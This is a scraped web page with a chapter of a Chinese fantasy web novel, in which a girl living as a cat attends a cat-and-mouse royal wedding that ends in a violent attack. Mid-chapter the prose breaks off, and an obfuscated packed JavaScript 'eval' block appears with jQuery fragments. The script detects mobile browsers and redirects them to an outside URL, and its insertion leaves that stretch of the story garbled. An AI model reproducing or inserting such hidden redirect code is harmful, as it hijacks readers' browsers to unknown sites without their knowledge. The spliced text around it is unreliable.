默认冷灰
24号文字
方正启体

10. 我是猫(二)

作者:永宁火本书字数:K更新时间:
    蓝猫的体型明显胜过街头上那些营养不良的猫咪。它滚圆的一大只,腹部丰满,毛色油亮,一看就是被好吃好喝供着的。


    它座椅旁的台子上放了一个被冰盒子托起的白瓷盘子,精致地摆着切好的鱼脍。蓝猫一手捻起鱼脍,一手在空中挥舞,比划着拍子。


    “喵,喵喵,喵喵喵!”它突然大声叫起来,打拍子的手指着队伍边上的一只橘猫。它的动作与其它猫是反的。


    那只猫立刻慌张地从地上滚起来,随即,两只带着眼罩的凶神恶煞的无毛猫走过来,把它架走了。


    厄拉咽了下口水,看向夏。


    同时,蓝猫也注意到了她们。它挥挥爪子,示意她俩绕过舞者,走到它面前来。


    它明明有着杏核似的圆眼睛,憨态可掬,可那纯黑的瞳孔在黄色的眼白滴溜溜地打转时,怎么看怎么让人不舒服。天晓得,这一转中藏有多少的小心思。


    人的礼仪,见到高位者时要行礼,猫的世界也是一样。厄拉学着夏的样子,高高地翘起屁股,竖起尾巴,头和两只前腿几乎全部贴在地上,做出一个很不平衡的姿势,简直就是在邀请人家踢你的屁股。不过,礼仪都是这样的,越屈辱,越尊敬。


    蓝猫“喵”了一声,意思估计是“免礼”,因为夏从容地站起来了,然后开始温和地“咪咪”叫,好像是在汇报什么。


    蓝猫的眼睛没有离开厄拉,它从头到尾地打量着她,一根杂毛也不肯放过。


    夏说完了,蓝猫点点头,对着厄拉叫了一声。


    厄拉不解其意,呆呆地愣在原地。直到夏踹了她屁股一脚,把她推到蓝猫的怀里,与它柔软厚实的胸膛来了一个亲密接触。


    哇,好多毛,好多肉。厄拉的第一反应是落到了一块冬天用的毛毯上,身体一下子就暖和起来了。


    还没等她将头从毛里拔出来,她的头顶忽然凉飕飕的——蓝猫开始舔舐她的头顶,还在轻咬她的耳朵,闹得她麻酥酥的,一股战栗感从头沿着脊椎传到尾巴。


    这是在做什么?是想吃掉我吗?还是在表达喜欢我?希望是后者。厄拉迷迷糊糊地想,一路上,那么多人喜欢染了白毛的玛丽安,这几天改善伙食后,她也吃胖了点,不像之前瘦的可怕,应该更讨人欢心。但愿猫的审美与人是一样的。


    她没有想错,蓝猫在舔完她之后,又拿起了一块鱼脍喂给她吃。这就是完完全全的赏赐了。


    啊,第一次见面就获此殊荣,看来玛丽安这张皮生的的确不错。厄拉嚼着冰凉的生鱼片,滑溜溜、凉滋滋,好生满足。这样的一顿鱼脍,在外面估计要抵得她一周的餐费,而在这儿她竟可以免费的、躺在别人怀里被喂着吃。她一下子有了翻身做主人的实感。


    但她没有享受多久。不一会儿,一群小猫带着吵吵嚷嚷的奶音围绕在美人靠周围,希冀地望着蓝猫。它们与王国门口池子里那群歪瓜裂枣不同,个个都长得眉清目秀,让人心生爱怜。蓝猫看它们的眼神也充满了慈爱,不一会,她怀里就挤满了小猫。厄拉很知趣地从她腋窝下溜了出去,让那些小奶猫尽情地撒娇、搂抱。


    她明白自己的处境了。夏是把她当做猫王国的新成员,来蓝猫这里报备上户口。而蓝猫一见到她就喜欢,于是她从街溜子一跃成为了猫王的宠儿,和这些小猫一个待遇,可以在猫王膝下承欢,还有最新鲜的生鱼片吃。


    哦对,还有好屋子住。夏领她去的住所是单独一间小房子,点着暖黄色的灯,里面铺满了花纹华丽的被衾和靠垫,还有一个毛线球。厄拉迫不及待地在毛绒垫子上打起滚来。她感觉自己躺在云朵上,即使是她住过最舒适的旅舍里垫的如同豌豆公主一样高的床垫子,都没有这儿的柔软。


    人,啊不,猫很容易向舒适妥协。她很没出息地想,变成一只猫好像也不是很坏。


    她在这儿的任务就是侍候在蓝猫左右,当它需要解闷时随叫随到。


    蓝猫似乎没有什么正经事儿要干,每天睡醒了就吃,吃完了就看歌舞,然后召集它的宠儿们陪它逗乐。久躺不动,难怪它胖成这样。


    在大概十几只宠猫中,厄拉发现,它似乎对其中一只小蓝猫情有独钟。每当它挤入蓝猫怀里时,别的猫咪不管怎样撒娇,都不能再分得蓝猫的一点关心。分东西吃时,也一定是这只小蓝猫打头,领得最好的一块,别人只有捡它剩下的份。也只有它有和蓝猫一样的权力,能驱赶那些表演不好的伶人。


    根据种种特权,以及大小蓝猫长相的酷似,厄拉断定,这只小蓝猫就是地下王国的太子。


    很快她又得知,太子要联姻了。


    眼见得王国顶上的灯一天比一天亮,许多像夏这样要跑外勤的猫还不断地从地上带回鲜花,装点街道。门口池子也开始换水,食物一车一车地向城里运。


    这阵仗,不是节日,就是婚丧嫁娶。厄拉一日看见,一群猫咪在伺候小蓝猫系上一件绣有金色玫瑰花纹的宝蓝色披风,她立刻明白,要有喜事的估计就是这位太子了。


    八卦之魂燃起。太子妃是谁呢?可惜她语言不通,不然早就与左邻右舍畅聊三天三夜了。


    她的好奇心越来越旺,终于浑身刺挠地挨到婚礼当天。


    新娘原来不是王国内的人——她跟随蓝猫以及其它的宠臣来到王国大门。许多民众早已翘首以盼。那片泡澡用的池子早已清场,池面漂着朵朵玫瑰花环、百合花环。新娘的船队遥遥出现在水面尽头。


    “新娘的船,好小啊。”厄拉本来以为那只是近大远小产生的视觉错位,却没想到,新娘的船队里最大的那一艘,总体积也不过能装下两个她。如果排除新娘一人乘一艘船的可能性,那新娘肯定不是猫,那它到底是什么物种啊?


    谜底揭晓——一只金褐色的、身着纯白高领缎面婚纱、头戴雏菊花瓣编成的头纱的小老鼠,在一众护卫的前呼后拥下,款款走下船只,来到岸上。


    太子早已恭候多时,见它走近,像当初厄拉给蓝猫行礼时那般伏下前半身,让新娘踩着自己的头骑到它的脊背上。而后,在猫和老鼠“喵喵”、“吱吱”的喝彩声中,一猫一鼠慢悠悠向城内走去。


    新郎的蓝色披风随风飘舞,甚为潇洒;新娘头上的雏菊花瓣衬得它鼠比花娇。新娘有些害羞地扶住新郎的耳朵,小蓝猫故意抖了抖,才吓得她紧紧抱住。大家见了这一幕,起哄得更热烈了。这大概就是新郎新娘恩爱的表现吧。


    而这一幕,不,整场婚礼对厄拉的冲击


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444048|201070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都太大了。


    猫和老鼠联姻?她在做梦吗?


    猫和老鼠秀恩爱,这世界还有道理吗?食物链呢?生殖隔离呢?你们不是天敌吗?你和老鼠联姻,为什么不去和鱼联姻,是因为鱼太好吃了吗?


    世上想不明白的事有太多了,而现在这桩直接使她完全放弃思考。这是明智之举,用猫核桃大的脑子能想明白什么呢?


    大家都沉浸在喜庆中,为什么就你一只猫神游物外双眼无神,乐,你也要和我们一起乐!


    厄拉就这样身不由己地被挤进花童的队伍,戴着花环,披着蕾丝布,“喵喵咪咪”地唱赞美诗。走路的时候,还要格外留心不要踩着另一方的花童。不然,喜事立即变成丧事。


    万猫空巷,花团锦簇,空中飞舞着彩带和鲜花,纷纷扬扬如同大雪,终于簇拥着新人走进皇宫。


    “喵喵,喵喵咪咪喵喵?”


    “咪!”


    “吱吱吱,吱吱吱吱吱?”


    “吱吱!”


    按照流程,现在是询问:“新郎/新娘,你愿意与它结为伴侣吗”的场景。老鼠那边派出了自己的牧师,猫这边派出的居然是夏。它在王国的地位比厄拉原想的更高。


    交换戒指的仪式颇为滑稽。新娘要站在高高的台子上才能和新郎同一高度面对面。双方的戒指尺寸也不一样:新娘吃力地举着能当自己项链的戒指,差点重心不稳从台子上摔下来;新郎的爪尖小心翼翼地拈着几乎看不见的超小号戒指,仿佛只要稍一用力它就会化为齑粉。


    一场仪式下来,所有观众都汗流浃背,频频倒吸凉气。万幸,最后没有出什么差错。


    特技表演还未结束,新郎亲吻新娘的时候,老鼠亲朋好友全都紧张得汗毛直立,生怕它突然张开血盆大口把新婚妻子一口吃掉。但,新郎看上去不饿,除了差点把新娘亲倒之外,没有什么过激行为。


    “如果害怕被吃,就不要联姻啊。”厄拉腹诽。


    她扭头看向坐在第一排的蓝猫,了不得,它泪光闪闪,它屁股旁边的亲家已经相拥哭成泪鼠,还有新娘一窝的兄弟姐妹,号的声音比唱诗班还大。


    送羊入虎口。新娘家确实该好好哭一番。


    谁知,当新娘羞涩地在小蓝猫的脸颊啾上一吻时,杀出来破坏婚礼的,是一只猫——确切的说,是那只曾被蓝猫批评的舞者橘猫。


    “喵喵喵喵!”


    厄拉乱翻:“身为猫咪怎么能和臭老鼠结婚,我不同意这门亲事!”


    来宾还没来得及反应,那只橘猫已经扑上台子,一口将新娘吞了下去。


    观礼台上爆发出震耳欲聋的尖叫,老鼠们惊恐地四散逃跑。


    蓝猫“蹭”地一下从座位上弹起,弓起身子呲牙挡住橘猫。但养尊处优的它并不是这只身形灵活的橘猫的对手,臃肿的身体还没来得及动弹,就被橘猫咬住了脖子——嗯,曾经是脖子的地方。


    看来它的目的不只是驱赶老鼠。


    猫吃老鼠,是自然法则,厄拉本来也不看好这门门不当户不对的婚事。但这猫若想谋权夺位,伤害她的恩猫,那她可不会袖手旁观!


    玛丽安的敏捷她是见识过的,操控这副躯体,她有把握赢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)